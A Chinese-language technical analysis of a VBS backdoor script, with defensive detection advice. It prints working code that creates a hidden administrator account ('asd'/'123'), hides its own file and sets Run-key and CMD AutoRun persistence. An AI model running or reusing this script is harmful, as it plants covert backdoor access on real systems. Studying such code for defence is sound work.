VBS 腳本建立隱藏管理員帳號並設定開機自啟動 (技術分析)

⚠ 安全警示：以下內容僅供安全研究與防禦分析，嚴禁用於非授權系統植入後門。

惡意腳本常用 VBS 建立隱藏管理員帳號、修改註冊表實現持久化。典型碼如下：

dim wsh,FA,FSO
set fso=CreateObject("Scripting.FileSystemObject")
Set FA= FSO.GetFile(WScript.scriptFullName)
FA.Attributes =34  ' 系統+隱藏+唯讀
set wsh=CreateObject("WScript.Shell")
wsh.run "net user asd 123 /add",0,true      ' 建立帳號 asd/123
wsh.run "net localgroup administrators asd /add",0,true  ' 加入管理員組
wsh.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32",""&FA&""  ' Run 鍵持久化
wsh.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"  ' 隱藏隱藏檔選項
wsh.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun",""&FA&""  ' CMD 自動執行
wsh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun",""&FA&""

技術手法解析

• 檔案屬性偽裝：Attributes=34 (系統+隱藏+唯讀) 使腳本檔在預設檔案總管中不可見。
• 帳號建立與提權：net user /add + net localgroup administrators 秒建後門帳號。
• 多重持久化：
  • Run 鍵值：開機自動執行腳本。
  • Cmd AutoRun：每次開啟 CMD 自動執行腳本 (極難察覺)。
  • 關閉「顯示隱藏檔案」選項：阻礙使用者發現異常檔案。

防禦檢測

1. 定期審核 HKLM\...\Run、HKCU\...\Run、HKLM\Software\Microsoft\Command Processor\AutoRun 異常值。
2. 檢查本地使用者群組是否有不明帳號 (lusrmgr.msc)。
3. 啟用稽核原則：帳號管理、登入事件、程序建立 (含命令列)。
4. 使用 AppLocker/軟體限制原則限制腳本執行。
5. 端點防護 (EDR) 監控 wscript.exe/cscript.exe 異常子程序與註冊表寫入。

理解攻擊手法才能建立有效防禦，請勿濫用。